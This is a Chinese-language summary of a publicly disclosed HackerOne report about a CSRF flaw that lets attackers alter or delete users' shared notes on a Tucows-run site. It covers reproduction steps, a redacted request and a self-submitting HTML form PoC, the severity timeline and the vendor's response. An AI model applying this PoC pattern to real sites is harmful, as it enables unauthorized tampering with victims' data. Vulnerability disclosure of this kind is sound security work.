本文详细分析了一个CSRF漏洞,攻击者可通过恶意链接修改或删除用户笔记,涉及漏洞原理、复现步骤、影响评估及厂商响应过程,展示了完整的安全漏洞披露流程。
CSRF允许未经授权修改███████上的用户笔记 | HackerOne报告 #3367292
摘要
CSRF漏洞允许攻击者仅通过点击链接即可更改用户的笔记。攻击者可以修改或删除用户留下的所有信息,根本原因是端点███████似乎未实施CSRF攻击防护。
漏洞详情
- 攻击复杂度:攻击者需要是被邀请到受害者同一组织的成员,才能获取受害者的正确ID用于链接
- 次要场景:如果攻击者确信用户是新注册的,可能猜测受害者ID为1
- 影响:未经授权修改或删除用户笔记、重要数据丢失、可能注入恶意链接或社交工程指令
复现步骤
- 在网站下订单后登录███████████账户
- 在共享笔记字段输入任意文本并点击保存
- 打开Burp Suite,进入HTTP历史记录标签
- 找到POST █████端点请求
- 右键选择Engagement tools → Generate CSRF PoC
- 编辑生成的PoC,将client_id参数设置为目标受害者ID
- 将生成的HTML文件上传到任何网络托管服务
- 受害者访问该页面时,其共享笔记将被修改或删除
受影响端点
1
2
3
4
5
6
7
|
Host: ████████████████████████
Cookie: ██████████
Content-Type: application██████████████x-www-form-urlencoded; charset=UTF-8
Te: trailers
Content-Length: 53
ajax=save_note&client_id={ID_victim}¬e=I+Hacked+YOU&area=client
|
CSRF PoC代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<html>
<body>
<form action="███████████████">
<input type="hidden" name="ajax" value="save_note" ████████████████████████████>
<input type="hidden" name="client_id" value="{{ID_victim}}" ████>
<input type="hidden" name="note" value="i hack you" ███████████████████████████████████>
<input type="hidden" name="area" value="client" █████████>
<input type="submit" value="Submit request" ███████████████████>
<███████████form>
<script>
history.pushState('', '', '█████████████████████████████████');
document.forms[0].submit();
<█████████████████████████script>
<████body>
<██████████████████████████████html>
|
时间线
- 2025年10月2日:kanon4向Tucows (VDP)提交报告
- 2025年10月4日:严重性从高(8.2)调整为中(6.1)
- 2025年10月6日:严重性进一步调整为低(3.4)
- 2025年10月7日:问题被标记为已解决
- 2025年10月10日:报告被公开披露
厂商回应
Tucows安全团队认为这是低风险漏洞,因为任何组织成员已可通过正常功能编辑共享笔记,CSRF并未绕过任何有意义的安全边界。报告最终被公开披露,严重性评级为低(3.4)。